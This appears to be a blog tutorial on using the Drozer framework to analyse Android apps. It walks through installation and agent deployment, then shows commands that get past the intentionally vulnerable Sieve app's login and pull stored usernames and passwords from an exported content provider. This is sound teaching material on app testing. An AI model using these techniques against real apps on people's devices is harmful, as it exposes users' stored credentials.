Quick Demo on Performing Dynamic Analysis for Android App

Drozer is a comprehensive security audit and attack framework for Android, which is friendly to perform dynamic analysis on Android app.

Two prerequisites for performing this quick demo:

  • Kali Linux
  • A rooted Android device (It could be Android Virtual Device – AVD, but physical Android device is used in this demo)

Installing the Drozer Console into Kali

  1. (Skip this step, if adb has been installed already) Install ADB tool

    sudo apt-get install android-tools-adb

  2. Install Drozer’s dependencies

    wget https://pypi.python.org/packages/25/5d/cc55d39ac39383dd6e04ae80501b9af3cc455be64740ad68a4e12ec81b00/setuptools-0.6c11-py2.7.egg#md5=fe1f997bc722265116870bc7919059ea

    (It you can’t use wget to get the file, please go to https://pypi.python.org/pypi/setuptools/0.6c11 to download the file “setuptools-0.6c11-py2.7.egg” via browser)

    sh setuptools-0.6c11-py2.7.egg

    easy_install –allow-hosts pypi.python.org protobuf

    easy_install twisted==10.2.0


  3. Install Drozer

    wget https://github.com/mwrlabs/drozer/releases/download/2.4.2/drozer-2.4.2-py2.7.egg

    easy_install ./drozer-2.4.2-py2.7.egg


  4. Test the installation


    The above screen indicates the success of the console installation.

Installing the Drozer Agent into rooted Android device

  1. Make sure your rooted Android device has “Developer options” enabled with the following settings:
    Root access: Apps and ADB
    Android debugging: On
    ADB over network: On {ADB over USB could be used as well, but for some situations, some Android device vendor ID is not recognized by ADB tool. ADB over network could prevent this kind of connection issue.}20170628-05
  2. In Kali Linux, try to make a ADB connection to the rooted Android device

    adb connect


    During establishing the ADB connection, please authorize it from your rooted Android device

    Verify the ADB connection afterwards

    adb devices


  3. Deploy the Drozer agent to the rooted Android device

    adb install agent.apk



Establish Drozer Session

  1. In Kali, port forward to a TCP socket opened by the Drozer Agent

    adb forward tcp:31415 tcp:31415


  2. Launch the Drozer agent in the rooted Android device and select the “Embedded Server” option and tap “Enable” to start the server
  3. Connect the console to the agent

    drozer console connect


Basic Usage Demo

  1. (Skip this step, if target app is already in place) Install a dummy app named “Sieve” (Password Manager), which showcase some common Android vulnerabilities

    wget https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk

    adb install sieve.apk

    Let’s play with the newly installed “Sieve” and enter some dummy information for testing.

  2. Find the identifier for “Sieve”

    run app.package.list -f sieve


  3. Check the basic package information about “Sieve”

    run app.package.info -a com.mwr.example.sieve


  4. Identify the Attack Surface of “Sieve”

    run app.package.attacksurface com.mwr.example.sieve

    Attack Surface means those interfaces could be accessible (i.e. exported) to other apps:
    activities -> screens used by the app
    content providers -> database objects of the app
    services -> background tasks (Besides, the service of “Sieve” is debuggable, which means that a debugger could be attached to the process)

  5. Gather more information on activities

    run app.activity.info -a com.mwr.example.sieve

    Since activities is exported and does not require any permission, let’s try to launch to launch the activity “com.mwr.example.sieve.PWList”

    run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList

    The authentication of “Sieve” has been successfully bypassed!

  6. Gather more information on content providers (i.e. database objects)

    run app.provider.info -a com.mwr.example.sieve

    It confirms that these content providers do not require any particular permission to interact with them, except for the path “/Keys” in the “DBContentProvider”.

    As the content provider is named “DBContentProvider”, it may indicate some form of database could be located in its backend. The URIs to access the DBContentProvider needed to be identified.

    run scanner.provider.finduris -a com.mwr.example.sieve

    Let’s retrieve information from those accessible URIs.

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

    A list of usernames, password (Base64-encoded) and email from “Sieve” could be retrieved.


  • Drozer is user friendly and easy to identify potential vulnerabilities in Android app
  • This demo only covers part of the features of Drozer, please explore more on your own. You could even customized your own module for Drozer to perform your own checking


Thanks for reading!

Best regards


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s